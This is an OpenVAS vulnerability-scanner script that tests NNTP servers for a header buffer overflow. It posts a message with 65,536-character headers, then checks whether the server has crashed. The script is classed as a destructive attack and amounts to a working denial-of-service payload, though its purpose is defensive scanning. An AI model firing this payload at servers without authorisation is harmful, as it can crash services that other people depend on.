NNTP message headers overflow
2005-11-03T00:00:00ID OPENVAS:17228
Type openvas
Reporter This script is Copyright (C) 2005 Michel Arboi
Modified 2017-12-07T00:00:00
Type openvas
Reporter This script is Copyright (C) 2005 Michel Arboi
Modified 2017-12-07T00:00:00
Description
OpenVAS was able to crash the remote NNTP server by sending a message with long headers. This flaw is probably a buffer overflow and might be exploitable to run arbitrary code on this machine.
# OpenVAS Vulnerability Test
# $Id: nntp_too_long_headers.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: NNTP message headers overflow
#
# Authors:
# Michel Arboi <mikhail@nessus.org>
#
# Copyright:
# Copyright (C) 2005 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "OpenVAS was able to crash the remote NNTP server by sending
a message with long headers.
This flaw is probably a buffer overflow and might be exploitable
to run arbitrary code on this machine.";
tag_solution = "apply the latest patches from your vendor or
use a safer software.";
# Overflow on the user name is tested by cassandra_nntp_dos.nasl
#
# NNTP protocol is defined by RFC 977
# NNTP message format is defined by RFC 1036 (obsoletes 850); see also RFC 822.
if(description)
{
script_id(17228);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
name = "NNTP message headers overflow";
script_name(name);
script_category(ACT_DESTRUCTIVE_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2005 Michel Arboi");
family = "Gain a shell remotely";
script_family(family);
script_dependencies("find_service_3digits.nasl", "nntp_info.nasl");
script_require_ports("Services/nntp", 119);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
#
include('global_settings.inc');
include('nntp_func.inc');
# This script might kill other servers if the message is propagated
if (safe_checks())
exit(0);
port = get_kb_item("Services/nntp");
if(!port) port = 119;
if(! get_port_state(port)) exit(0);
user = get_kb_item("nntp/login");
pass = get_kb_item("nntp/password");
ready = get_kb_item("nntp/"+port+"/ready");
if (! ready) exit(0);
noauth = get_kb_item("nntp/"+port+"/noauth");
posting = get_kb_item("nntp/"+port+"/posting");
if (! noauth && (! user || ! pass)) exit(0);
if (! posting) exit(0);
s = nntp_connect(port: port, username: user, password: pass);
if(! s) exit(0);
len = 65536;
msg = strcat('Newsgroups: ', crap(len), '\r\n',
'Subject: ', crap(len), '\r\n',
'From: OpenVAS <', crap(len), '@example.com>\r\n',
'Message-ID: <', crap(len), '@', crap(len), rand(), '.OPENVAS>\r\n',
'Lines: ', crap(data: '1234', length: len), '\r\n',
'Distribution: local\r\n', # To limit risks
'\r\n',
'Test message (post). Please ignore.\r\n',
'.\r\n');
nntp_post(socket: s, message: msg);
close(s);
sleep(1);
s = open_sock_tcp(port);
if(! s)
{
security_message(port);
exit(0);
}
else
close(s);
Protected by
